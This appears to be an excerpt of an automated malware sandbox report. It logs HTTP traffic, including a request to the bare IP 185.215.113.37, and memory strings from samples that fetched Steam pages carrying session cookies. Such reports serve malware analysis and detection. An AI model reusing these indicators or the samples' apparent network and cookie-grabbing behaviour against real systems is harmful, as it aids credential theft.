Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://cdn.branch.io/branch-latest.min.js://pub.doubleverify.com/signals/pub.js://static.chartbeat.com/js/chartbeat_video.js://static.criteo.net/js/ld/publishertag.js://.imgur.com/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.js://track.adform.net/serving/scripts/trackpoint/://.imgur.io/js/vendor..bundle.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://www.everestjs.net/static/st.v3.js://connect.facebook.net//all.js://www.google-analytics.com/analytics.js://static.chartbeat.com/js/chartbeat.js://www.google-analytics.com/gtm/js*://www.googletagmanager.com/gtm.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.jsdisabled_picture_in_picture_overrides.dailymotiondisabled_picture_in_picture_overrides.washingtonpost://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js*://www.googleadservices.com/pagead/conversion_async.js equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296944839.00000170839BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3304609166.00000170844CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296944839.00000170839BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.0000017085290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/firefoxview-tabpickup-password-locked-primarybutton equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3308589953.0000017084AD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312875221.0000017084D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: file.exe, 00000000.00000003.2134302834.0000000000AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=14a069e6677fb5a07d6a2b8f; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 16:09:17 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2134448591.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=cfac046760478cb378cd12f6; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 16:08:01 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000003.3142865401.0000017084B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.3142865401.0000017084B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/passwordmgr-storage-replace did not match due to targeting_generateVariablesOnlySchemaupdateSessionStoreForStorageSSF_updateSessionStoreForStorage equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/passwordmgr-storage-replace did not match due to targeting_generateVariablesOnlySchemaupdateSessionStoreForStorageSSF_updateSessionStoreForStoragensIFinalizationWitnessService equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296944839.00000170839BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ine' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2142391592.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142550438.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: owered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://ww equals www.youtube.com (Youtube)
